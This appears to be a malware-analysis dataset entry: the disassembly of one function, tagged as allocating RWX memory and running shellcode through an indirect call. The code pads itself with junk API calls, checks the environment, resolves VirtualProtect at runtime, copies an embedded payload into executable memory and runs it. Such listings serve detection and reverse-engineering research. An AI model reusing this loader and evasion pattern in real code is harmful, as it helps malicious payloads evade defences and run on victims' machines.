Function at 0x40d84c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xf4
mov eax, dword [0x41a1f0]
xor eax, esp
mov dword [esp + 0xf0], eax
push ebx
push esi
xor ebx, ebx
push edi
mov dword [esp + 0xc], ebx
mov dword [esp + 0xc], 0x1a089
add dword [esp + 0xc], 0x932
xor edi, edi
xor esi, esi
mov byte [esp + 0x13], 1
cmp esi, 0xd97f
jle 0x40d89a
mov byte [esp + 0x13], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, ebx
jge 0x40d8c4
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c]
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
inc esi
cmp byte [esp + 0x13], bl
jne 0x40d888
xor esi, esi
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
lea eax, [esp + 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp esi, 0x25543
jle 0x40d91c
cmp dword [esp + 0x18], 0x3c4020
je 0x40d91c
cmp dword [esp + 0xe8], 0xb1c711c
je 0x40d91c
cmp eax, 0x176cf5a
jne 0x40d957
cmp edi, ebx
jne 0x40d951
push str.kernel32.dll
mov dword [0x41c338], 0x6e72656b
mov dword [0x41c33c], 0x32336c65
mov dword [0x41c340], 0x6c6c642e
mov byte [0x41c344], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
inc esi
jmp 0x40d8cd
lea eax, [esp + 0x30]
push eax
call fcn.00401763
push str.VirtualProtect
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x90]
mov dword [0x41c738], eax
call fcn.004017cb
lea eax, [esp + 0x90]
push eax
mov dword [esp + 0x94], vtable.std::ios_base.0
call fcn.00402646
pop ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [0x415dc8]
call fcn.0040d812
mov edi, dword [0x41b0bc]
xor esi, esi
cmp dword [esp + 0xc], ebx
jbe 0x40da20
cmp esi, ebx
jne 0x40d9d2
push 0x40
push 0x1000
push dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x41c740], eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
mov cl, byte [edi + esi + 0x932]
mov eax, dword [0x41c740]
mov byte [eax + esi], cl
cmp esi, 0x64
jne 0x40da19
push 0x41c744
push 0x40
push dword [esp + 0x14]
push eax
call dword [0x41c738]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x18], 0x20
mov eax, dword [esp + 0x18]
add eax, eax
mov dword [esp + 0x18], eax
inc esi
cmp esi, dword [esp + 0xc]
jb 0x40d9b7
mov eax, dword [0x41c740]
push dword [esp + 0xc]
add eax, 0x200
call fcn.0040d818
call fcn.0040d76a
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetNextDlgGroupItem]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0xfc]
pop edi
pop esi
pop ebx
mov dword [eax + 4], 1
xor ecx, esp
xor eax, eax
call fcn.00402eb0
mov esp, ebp
pop ebp
ret 0x10